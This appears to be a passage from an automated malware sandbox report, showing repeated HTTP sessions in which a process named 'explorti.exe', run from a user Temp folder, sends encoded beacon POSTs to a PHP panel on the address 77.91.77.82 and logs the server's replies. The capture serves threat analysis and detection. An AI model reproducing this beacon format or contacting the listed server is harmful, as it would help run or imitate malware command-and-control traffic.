Jul 5, 2024 06:23:33.531599045 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:33.748312950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	51506	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:33.860085011 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:34.571475029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:34.572385073 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:34.798130989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	51507	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:34.907982111 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:35.613872051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:35.614675999 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:35.838215113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	51508	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:35.954418898 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:36.656893015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:36.657923937 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:36.880367994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	51509	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:37.000718117 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:37.704816103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:37.705857038 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:37.928374052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	51510	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:38.047384977 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:38.758116961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:38.759185076 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:38.982764959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	51511	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:39.094569921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:39.794792891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:39.795557976 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:40.012967110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	51512	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:40.125518084 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:40.830584049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:40.831465960 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:41.059142113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	51513	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:41.174181938 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:41.879477024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:41.880263090 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:42.103782892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	51514	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:42.219307899 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:42.941520929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:42.942433119 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:43.161885023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	51515	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:43.282078981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:43.989250898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:43.990230083 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:44.211402893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	51516	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:44.328771114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:45.028448105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:45.029355049 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:45.245615959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	51517	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:23:45.360088110 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:23:46.060653925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:23:46.061492920 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
